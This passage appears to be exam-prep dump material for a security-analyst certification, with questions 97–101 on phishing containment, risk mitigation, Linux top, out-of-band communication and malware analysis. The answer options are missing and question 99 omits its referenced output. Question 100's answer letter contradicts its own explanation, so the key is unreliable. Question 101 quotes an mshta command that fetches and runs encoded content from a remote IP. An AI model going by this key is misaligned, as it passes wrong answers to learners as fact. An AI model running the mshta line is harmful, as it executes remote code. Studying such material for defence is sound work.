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| Section | Weight | Objectives |
|---|---|---|
| Topic 1: Vulnerability Management | 26% | - Vulnerability Response
|
| Topic 2: Reporting and Communication | 16% | - Communication
|
| Topic 3: Incident Response and Management | 24% | - Incident Response Processes
|
| Topic 4: Security Operations | 34% | - Threat Intelligence and Hunting
|
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97. Frage
An analyst receives an alert that a user clicked on a malicious link. The analyst verifies that the link is malicious and was intended to capture credentials. The analyst verifies that the user visited the website, but no evidence indicates that the credentials were used. The analyst recommends that the user take remedial training and closes the case.
Which of the following steps in the incident response process did the analyst neglect?
Antwort: C
Begründung:
The analyst completed substantial analysis by validating the URL, confirming its credential-harvesting purpose, and establishing that the user accessed the malicious site. However, the investigation was closed without performing adequate containment . Even though there is no evidence that stolen credentials were subsequently used, the user's authentication material must be considered potentially exposed because the phishing site was specifically designed to collect credentials.
Containment should reduce the immediate opportunity for an attacker to exploit that exposure. Appropriate measures can include resetting the affected password, revoking active authentication sessions or tokens, temporarily restricting the account when warranted, blocking the malicious URL or domain, and checking the endpoint for additional malicious activity. The absence of observed credential misuse does not establish that credential capture did not occur.
Remedial training is valuable, but it is principally a corrective or post-incident measure and does not neutralize the immediate technical risk. Recovery would follow containment and eradication when affected services or systems require restoration.
NIST's current incident-response guidance emphasizes effective detection, response, and recovery actions to reduce incident impact rather than stopping after validation.
Study Guide Reference: Incident Response and Management # Incident Response Process # Analysis # Containment # Eradication # Recovery # Post-Incident Activities.
98. Frage
An incident response team identifies a malicious uniform resource locator (URL) associated with a required business process and performs the following activities:
- Access to the URL has been restricted only to the necessary users
through firewall rules and Cloud Security Group rules.
- Additional monitoring has been enabled for traffic related to that
site and the allowed users.
- All application servers that need to access that site have been
patched with the latest security and software updates.
- Application owners have been notified of the severity and need to
remediate this reported issue.
Which of the following best describes the overall mitigation the security team is performing?
Antwort: C
Begründung:
The malicious URL cannot be completely blocked because it supports a required business process, so the team is applying alternative safeguards-restricted access, monitoring, patching, and notifications-to reduce the risk.
99. Frage
An analyst executes the top command on a Linux system for an unresponsive application and observes the following output:
Which of the following is the most likely cause of this issue?
Antwort: D
Begründung:
Resource exhaustion is the most likely explanation because Linux top is specifically used to observe real- time system and process resource consumption. Its output provides system summary information and process- level metrics that allow an analyst to identify abnormal CPU or memory utilization, excessive process activity, load conditions, and other resource constraints. The Linux top manual describes the utility as providing a dynamic real-time view of the running system and its processes.
When an application becomes unresponsive while top indicates abnormally high processor consumption, memory pressure, or another exhausted resource, the immediate technical conclusion is resource exhaustion.
An application can become starved of CPU time, physical memory, or other capacity, causing severe degradation or apparent failure.
Service disruption is a description of an outcome rather than the underlying condition demonstrated by process-resource statistics. Unauthorized software would require evidence showing an unexpected or prohibited process rather than simply excessive utilization. Filesystem changes are normally investigated through filesystem auditing, integrity monitoring, timestamps, logs, or forensic comparison; top does not primarily report file modifications.
The examination distinction is therefore between symptom and cause : the unresponsive application is the symptom, while excessive resource consumption revealed by top identifies the probable root cause.
Study Guide Reference: Security Operations # Host Analysis # Linux Utilities # top # CPU/Memory Analysis # Resource Exhaustion # Performance Anomalies.
100. Frage
A Chief Information Security Officer (CISO) is notified of an ongoing incident.
Which of the following explains why the CISO instructs the Chief Executive Officer not to discuss the incident over email?
Antwort: D
Begründung:
During an active cybersecurity incident, responders must assume that systems associated with the compromise may no longer provide trustworthy confidentiality or integrity until their status has been established. If the incident could involve the organization's email infrastructure, discussing response strategy, investigative findings, affected assets, or containment actions through corporate email could unintentionally provide the attacker with intelligence about the organization's response.
Therefore, the email system may be compromised is the strongest explanation. Incident-response communication plans should define approved communication methods, relevant stakeholders, escalation paths, and alternative communication channels so responders can continue coordinating when ordinary enterprise systems are unavailable or untrusted. NIST's current incident-response guidance emphasizes integrating communication and stakeholder coordination throughout response activities.
Option C is too broad. Modern email commonly uses transport encryption, although encryption alone would not make a compromised mailbox or server trustworthy. Option D concerns public-relations coordination but does not explain why email itself should be avoided. Option A describes a specific gateway vulnerability that the scenario does not establish.
The core principle is out-of-band communication : when normal communication infrastructure may be under attacker control, responders should use a previously approved independent channel.
Study Guide Reference: Reporting and Communication # Incident Communications # Communication Plan
# Out-of-Band Communications # Stakeholder Coordination # Compromised Communication Channels.
101. Frage
As part of a malware analysis, a security analyst finds the following:
mshta
https://185.43.143.6/dXNlcjliYWxkbzY4NClwd2Q9RkBuY3lLYXQxLUlQPTIzLjcuND IuMSlwPTIyODA= Which of the following is the best tool to use for additional analysis?
Antwort: A
Begründung:
The command contains an encoded string that appears to be Base64 data appended to a URL.
CyberChef is specifically designed for decoding, deobfuscating, and transforming encoded data commonly found in malware analysis. It allows analysts to quickly decode Base64 and inspect the underlying content to understand the payload or parameters being used.
102. Frage
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